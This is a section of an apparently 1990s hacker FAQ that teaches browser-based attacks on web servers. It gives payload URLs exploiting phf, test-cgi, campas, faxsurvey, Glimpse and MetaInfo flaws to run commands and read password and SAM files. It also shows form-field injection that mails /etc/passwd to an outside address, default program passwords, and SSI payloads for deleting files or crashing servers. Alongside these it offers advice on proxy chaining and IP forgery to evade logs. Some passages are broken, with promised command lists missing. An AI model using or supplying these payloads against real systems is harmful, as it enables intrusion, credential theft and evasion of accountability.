This section deals with using the web browser as an attack tool.
The phf file is an example CGI script that is used to update a phonebook style listing of people. By default, a lot of sites have this file sitting in /cgi-bin and don't even know it. You know, they installed everything to default. However, the phf file behaves "differently" if thrown a newline (0a) character. Here's the common attack for a Unix server:
http://example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Or better yet, a series of commands:
The above commands are:
You get the point. You could try to access the files directly or move them to another location for retrieval. We've used a Unix target as an example since it is most common, but NT commands will work on a NT server just fine, too.
There is a test CGI script included with most servers that can be used to make sure environment variables and other information is being passed to the server properly during queries. This example file is called, appropriately, "test-cgi" on most systems. Here's how it works:
http://example.com/cgi-bin/test-cgi?\whatever
The response will be something like...
CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = example.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH =
Once again, the 0a character can be used to try to get this file to do other things, or you could simply try an asterisk:
http://example.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
These might get you a list of files in /cgi-bin:
The "~", or tilde (pronounced "til-day"), is used during a resolve of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html so that ~ replaces /public_html when getting to a user's directory. Some Unix servers that do not have a /public_html may attempt to resolve to the home directory listed in /etc/passwd. For example, this URL might return some interesting information:
http://example.com/~root
If the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file:
http://example.com/~root/etc/passwd
Some admins may patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just root, but every user on the system, including putting a tilde in front of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will do quite nicely.
The demo CGI program jj.c calls /bin/mail without filtering user input, so any program based on jj.c could potentially be exploited by simply adding a "|" followed by a Unix command. It may require a password, but two known passwords include HTTPdrocks and SDGROCKS. If you can retrieve a copy of the compiled program, running strings on it will probably reveal the password.
Do a search for jj.c to get a copy and study the code yourself if you have more questions.
Here's the typical example: A web author has a form on a page that allows the public to send email to a certain address. But what if the author is going to be on vacation? What if the address needs to be changed each month? By including the address in the form the web author doesn't have to change the CGI script. Outside of the normal fields for From:, Subject:, etc. there is usually something in the form like this:
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>">
After clicking on the submit button, it goes to a CGI script. Once again, it is typical to write out the info to a temp file and then read it back in to be sent to sendmail:
/* code snippet in C, although you can do the same type thing in Perl */ sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file); system(buffer);
A shell is being forked, and since in the code above the variables are being passed without being checked for extra stuff, you could copy the page locally (virtually every browser allows you to save the current document as a local HTML file). Once copied, edit the form to include the following:
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@example.com <mailto:VALUE=>;cat /etc/passwd | mail thegnome@5th.column.gov <mailto:thegnome@5th.column.gov>">
Note the addition of the semicolon. The semicolon tells the forked shell it has another completely separate command to run, which in this example sends the passwd file to a government spy.
It should be pointed out that, for the most part, you will have no idea that this type of technique is going to work until you try it. Look around, and you will sometimes see these attempts at various places. It's always funny to see this entry in a guestbook:
From: fred@kissmybutt.com mailto:fred@kissmybutt.com (200.200.200.200, 7/7/96 09:10 a.m. CST)
Loved your web page. Looks nice.;mail phil@idiot.com <mailto:phil@idiot.com> < cat /etc/passwd
Not only does it have Phil's email address, but his real IP address and a time stamp. Ouch! So hackers, if you want to be evil, try forging your IP address and sending the passwd file to a remailer.
Here is an example:
example.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Aid%0A==foo==_phone= ==_school== HTTP/1.0" 200 116 example.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/passwd%0A==foo== _phone===_school== HTTP/1.0" 200 7241 example.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Auname%20-a%0A==foo==e_phone===_school== HTTP/1.0" 200 154 example.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/shadow%0A==foo== _phone===_school== HTTP/1.0" 200 105 example.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=name=_phone===_school== HTTP/1.0" 200 175
example.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A==foo=nickname=_phone===_school== HTTP/1.0" 200 175 example.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A==foo= =_phone===_school== HTTP/1.0" 200 138 example.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A==f oo==_phone===_school== HTTP/1.0" 200 119 example.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Aid%0A==foo==_ph one===_school== HTTP/1.0" 200 116 example.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%0A==foo==_ph one===_school== HTTP/1.0" 200 300 example.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A==foo=ckname=_phone===_school== HTTP/1.0"200 107
Two attacks. The first one involves trying to access /etc/passwd and /etc/shadow, with attempts to determine what id httpd is running under, with failed attempts at the passwd file. The second is a little more interesting. Since /etc/shadow can't be accessed directly, the attacker tries to move the file to anonymous FTP's incoming directory for an alternate method of retrieval.
A Server-Side Include (SSI) is a way to imbed special operations and commands into an HTML document. The potential for abuse is there when they are combined with CGI and the modification of HTML.
The biggest example is the guestbook. Typically, the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple: Hacker fills out guestbook form and includes an SSI. Via CGI, the form is appended to the guestbook which is typically just an HTML document. Next person that views the guestbook activates the SSI. So what is bad? Consider these SSIs:
The first one erases everything that the id that httpd is running under owns. This is a little psycho, but should give you an idea on how serious this is (hope you're not running that httpd as root!). The next two give you a couple of more ideas to run with. And the last one, pasted into the document a couple hundred times will grind a server to a halt the next time that guestbook is accessed.
If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI, but if an anon FTP "/incoming" directory is in place and you can view an uploaded file via your browser, you could include the SSI stuff into an HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server could do the same things.
SSL (Secure Socket Layer) is a encryption and user authentication standard for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt: symmetric (the same key is used for encoding and decoding) and asymmetric (one key is used for encoding and another for decoding). In the latter, there are a pair of keys that work together, one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.
For this to work in a web environment, you need the scheme built into the browser and the server. SSL uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)
There are a couple of ways to do this. First off, you could use a proxy. In the log files, the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.
It is possible, even desirable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.
Of course, since you don't need a browser to hack ('telnet targetaddress 80' will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "|mail hacker@remailer.example.com" to the end of each attempt so you can see the results.
Well, it's hardly an attack, but worth mentioning. Microsoft's Active Server Pages are dynamic pages, and are often used to do things such as control access to other pages or systems. Obviously, accessing the page's source would give the browsing party this info, which is usually not the intent of the author. Instead of accessing like so...
http://www.example.com/secret/files/default.asp
... add a dot on the end...
http://www.example.com/secret/files/default.asp.
...and this may yield the source code of the NT server's html page.
The campas attack refers to an old NCSA script called campas.sh which accepted newlines. For example:
http://www.example.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a
This is old (version 1.2) and typically not found on most systems.
Versions earlier than 2.4 are susceptable to buffer overflows. The version of count.cgi is 2.5.
If the HylaFAX package is installed (common on some older Linux distributions), you can send arbitrary commands running as the UID of the web server:
http://www.example.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
Found on some systems, it allows you to finger a user via your web browser. The fingered site has the web server's IP address in their logs, not yours. If a site has this cgi script installed but finger traffic is blocked at their firewall, you could possibly finger hosts behind the firewall:
http://www.example.com/cgi-bin/finger\?thegnome@vortex.nmrc.org
If a site is running Glimpse HTTP and uses the standard scripts, arbitrary commands can be issued. This is a long line of text, but you should be able to figure it out:
http://www.example.com/cgi-bin/aglimpse/80IFS=5;CMD=5mail5thegnome\@nmrc.org\ <mailto:thegnome\@nmrc.org\>passwd;eval$CMD
Anything below version 2.9932 of the Htmlscript CGI allows for remote execution of commands. So does versions earlier than 1.2 of info2www. Also earlier versions of view_source.cgi, webdist.cgi, webgais.cgi, and websendmail.cgi are vulnerable.
We don't have the syntax handy, so look at the multitude of other web sploits in this FAQ and guess the url... ;-)
MetaInfo puts out a couple of NT products, such as MetaIP and a port of the Unix Sendmail program. These can be remotely managed by a web browser at port 5000 (the default). These can be exploited.
For the MetaInfo Sendmail:
http://www.example.com:5000/../../winnt/repair/sam - Gets the SAM
http://www.example.com:5000/../smusers.txt - Gets the POP3 password file
For MetaIP (note 3 nested levels back to c:\ instead of 2):
http://www.example.com:5000/../../../winnt/repair/sam - Gets the SAM
You can also execute arbitrary commands (this assumes Sendmail):
http://www.example.com:5000/../../winnt/system32/net.exe?use%20 etc etc
With this, you can have all kinds of fun, especially if the Resource Kit is used as there are a large number of command line utilities you can use. If the NT box is the sendmail server and the firewall, odds are you will be able to own the entire company.
Top | Next: The Basic Web Server | Previous: Web Browser as Attack Point | Table of Contents